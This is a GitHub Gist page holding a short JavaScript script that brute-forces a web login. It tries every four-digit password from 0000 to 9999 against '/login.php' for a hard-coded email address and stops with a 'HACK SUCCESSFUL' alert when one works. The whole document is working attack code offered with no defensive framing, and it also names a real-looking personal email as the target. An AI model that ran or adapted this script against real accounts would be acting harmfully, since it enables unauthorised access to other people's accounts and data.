Created
July 22, 2022 16:32
-
-
Save leesalminen/3f7e2099c6b30e19e526806fd4cdbac1 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const firstNumber = 0 | |
const lastNumber = 9999 | |
const email = "lee@jungleacademy.com" | |
const tryToLogIn = async (email, passwordToTry) => { | |
console.log(`[ATTEMPT] trying to log in with password ${passwordToTry}`) | |
const response = await fetch( | |
'/login.php', | |
{ | |
method: "POST", | |
headers: { | |
'Accept': 'application/json', | |
'Content-Type': 'application/json', | |
}, | |
body: JSON.stringify({ | |
email: email, | |
password: passwordToTry, | |
}) | |
} | |
) | |
const data = await response.json() | |
if(data.errors.length) { | |
console.log(`[FAIL] failed to login with ${passwordToTry}`) | |
return false | |
} else { | |
console.log(`[SUCCESS] successful login with ${passwordToTry}`) | |
return true | |
} | |
} | |
const hackIt = async () => { | |
for ( | |
var i = firstNumber; | |
i <= lastNumber; | |
i++ | |
) { | |
const passwordToTry = i.toString().padStart(4, '0') | |
const hackAttempt = await tryToLogIn(email, passwordToTry) | |
if(hackAttempt) { | |
alert(`HACK SUCCESSFUL! The password for ${email} is ${passwordToTry}`) | |
break; | |
} | |
} | |
} | |
hackIt() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment